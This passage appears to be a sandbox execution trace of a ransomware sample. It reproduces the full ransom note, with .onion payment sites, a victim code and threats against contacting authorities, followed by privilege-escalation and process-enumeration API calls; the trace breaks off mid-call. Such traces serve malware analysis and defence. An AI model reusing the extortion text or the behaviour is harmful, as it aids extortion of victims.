COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion \r\nIf the website is not available, open another one: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code}", _SubStr="{code}") returned="{code}" [0085.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbaa) returned 0x1b82f9a0 [0085.230] strstr (_Str="Hi! \r\nYour files are encrypted. \r\nAll encrypted files for this computer has extension: .2f9b60 \r\n\r\nYour filenames can be encrypted too, except extensions for free decrypt.\r\n\r\n-- \r\nIf for some reason you read this text before the encryption ended, \r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off, \r\nthen we recommend that you move away from the computer and accept that you have been compromised. \r\nRebooting/shutdown will cause you to lose files without the possibility of recovery. \r\n\r\n-- \r\nOur encryption algorithms are very strong and your files are very well protected, \r\nthe only way to get your files back is to cooperate with us and get the decrypter program. \r\n\r\nDo not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. \r\n\r\n--\r\n\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you few files for free. \r\nJust open our website, upload the encrypted files and get the decrypted files for free. \r\n\r\nAdditionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself \r\nto huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, \r\nnot to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how \r\nfast we both can find an agreement without getting this incident public. \r\n--\r\n*** \r\nIF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. \r\nYOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. \r\n\r\n--\r\n\r\nWE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR\r\nENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES\r\nGOOD SUPPORT.\r\n\r\n***\r\n-- \r\n\r\nSteps to get access on our website: \r\n\r\n1.Download and install tor-browser: https://torproject.org/ \r\n\r\n2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion \r\nIf the website is not available, open another one: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion \r\n\r\n3.Put your personal code in the input form: \r\n\r\n{code_2f9b60:\r\na9rpb5uLQu2PVpz6VgOh6cQOBut0frplPHlxk8v+H6lac+NcY4\r\nuHoKYrzzhlQwt70QE38VjLPkSWvLklgmFYUE11jzDVZKYykiO0\r\nIypgmy9FnaUZ3/+Y6T8uz/69hv1m9dMpBghsEAR0p8S1L1XVSa\r\nFhACtaW6Ork6Mw1A/pK/7jNg0aOiOSkqFcuqmX/zKwJi+L6jpF\r\n2mwV1ghxITi15U9L20Xn9s+rAbWNOHCZHAQm0Z/QfKcuKsU97F\r\n/cfZuVp7WDY1rx9vbIkZteDx150uaUmnFe5Uw4YQ==}", _SubStr="{code}") returned 0x0 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ef20) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82e4d0) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82dac0) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d970) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.241] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1c7fe1d8 | out: lpLuid=0x1c7fe1d8*(LowPart=0x14, HighPart=0)) returned 1 [0085.242] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0xf01ff, TokenHandle=0x1c7fe1d0 | out: TokenHandle=0x1c7fe1d0*=0x3ec) returned 0x0 [0085.242] AdjustTokenPrivileges (in: TokenHandle=0x3ec, DisableAllPrivileges=0, NewState=0x1c7fe140*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0085.242] GetLastError () returned 0x0 [0085.242] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x1c7fe1d8 | out: lpLuid=0x1c7fe1d8*(LowPart=0x1d, HighPart=0)) returned 1 [0085.243] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0xf01ff, TokenHandle=0x1c7fe1d0 | out: TokenHandle=0x1c7fe1d0*=0x44c) returned 0x0 [0085.243] AdjustTokenPrivileges (in: TokenHandle=0x44c, DisableAllPrivileges=0, NewState=0x1c7fe140*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0085.243] GetLastError () returned 0x0 [0085.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b46930, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0085.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b459b0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0085.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b45cb0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0085.244] Sleep (dwMilliseconds=0x0) [0085.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b82e450 [0085.269] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b82e450, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b82e450, ResultLength=0x0) returned 0xc0000004 [0085.271] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82e450, Size=0x2048) returned 0x1b834560 [0085.271] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.272] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x306c) returned 0x1b834560 [0085.272] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.273] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x4090) returned 0x1b834560 [0085.274] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.274] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x50b4) returned 0x1b834560 [0085.274] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.275] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x60d8) returned 0x1b834560 [0085.275] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.276] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x70fc) returned 0x1b834560 [0085.276] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.277] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x8120) returned 0x1b834560 [0085.278] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.279] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x9144) returned 0x1b834560 [0085.279] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.280] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xa168) returned 0x1b834560 [0085.280] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.281] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xb18c) returned 0x1b834560 [0085.281] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.283] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xc1b0) returned 0x1b834560 [0085.283] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.284] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xd1d4) returned 0x1b834560 [0085.284] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.286] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xe1f8) returned 0x1b834560 [0085.286] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.287] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xf21c) returned 0x1b834560 [0085.287] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.288] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x10240) returned 0x1b834560 [0085.288] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.290] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x11264) returned 0x1b834560 [0085.290] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.292] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x12288) returned 0x1b834560 [0085.292] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.294] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x132ac) returned 0x1b834560 [0085.294] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.295] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x142d0) returned 0x1b834560 [0085.296] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x152f4) returned 0x1b834560 [0085.298] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.299] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x16318) returned 0x1b834560 [0085.299] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.301] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x1733c) returned 0x1b834560 [0085.301] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x18360) returned 0x1b834560 [0085.302] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.304] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x19384) returned 0x1b834560 [0085.304] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.305] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x1a3a8) returned 0x1b834560 [0085.305] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.307] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x1b3cc) returned 0x1b834560 [0085.307] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.308] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x1c3f0) returned 0x1b84f940 [0085.310] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b84f940, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1b84f940, ResultLength=0x0) returned 0xc0000004 [0085.312] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b84f940, Size=0x1d414) returned 0x1b84f940 [0085.312] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b84f940, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1b84f940, ResultLength=0x0) returned 0xc0000004 [0085.313] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b84f940, Size=0x1e438) returned 0x1b84f940 [0085.313] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b84f940, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1b84f940, ResultLength=0x0) returned 0xc0000004 [0085.315] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b84f940, Size=0x1f45c) returned 0x1b84f940 [0085.315] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b84f940, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1b84f940, ResultLength=0x0) returned 0xc0000004 [0085.319] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b84f940, Size=0x20480) returned 0x1b84f940 [0085.319] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b84f940, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1b84f940, ResultLength=0x0) returned 0xc0000004 [0085.321] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b84f940, Size=0x214a4) returned 0x1cd60080 [0085.323] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1cd60080, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.325] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x224c8) returned 0x1cd60080 [0085.325] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1cd60080, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.326] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x234ec) returned 0x1b834560 [0085.327] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.328] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x24510) returned 0x1b834560 [0085.328] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.330] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x25534) returned 0x1b834560 [0085.330] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.332] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x26558) returned 0x1b834560 [0085.332] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.334] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2757c) returned 0x1b834560 [0085.334] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.343] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x285a0) returned 0x1b834560 [0085.343] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.345] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x295c4) returned 0x1b834560 [0085.345] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.347] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2a5e8) returned 0x1b834560 [0085.347] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.349] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2b60c) returned 0x1b834560 [0085.349] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.351] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2c630) returned 0x1b834560 [0085.351] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.353] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2d654) returned 0x1b834560 [0085.353] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.354] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2e678) returned 0x1b834560 [0085.355] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2e678, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.356] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x2f69c) returned 0x1b834560 [0085.356] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.358] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x306c0) returned 0x1b834560 [0085.359] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x306c0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.361] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x316e4) returned 0x1b834560 [0085.361] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x316e4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.363] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x32708) returned 0x1b834560 [0085.363] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x32708, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.381] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x3372c) returned 0x1b834560 [0085.382] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x3372c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.384] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x34750) returned 0x1b834560 [0085.384] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x34750, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.387] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x35774) returned 0x1b834560 [0085.387] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x35774, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.393] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x36798) returned 0x1b834560 [0085.393] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x36798, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.422] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x377bc) returned 0x1b834560 [0085.422] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x377bc, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.425] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x387e0) returned 0x1b834560 [0085.425] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x387e0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.428] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x39804) returned 0x1b834560 [0085.428] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x39804, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.431] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x3a828) returned 0x1b834560 [0085.431] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x3a828, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.433] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x3b84c) returned 0x1b834560 [0085.433] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1b834560, Length=0x3b84c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.436] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x3c870) returned 0x1cd60080 [0085.439] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1cd60080, Length=0x3c870, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.441] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x3d894) returned 0x1cd60080 [0085.442] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1cd60080, Length=0x3d894, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0xc0000004 [0085.444] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd60080, Size=0x3e8b8) returned 0x1cd60080 [0085.444] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x1cd60080, Length=0x3e8b8, ResultLength=0x0 | out: SystemInformation=0x1cd60080, ResultLength=0x0) returned 0x0 [0085.446] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, 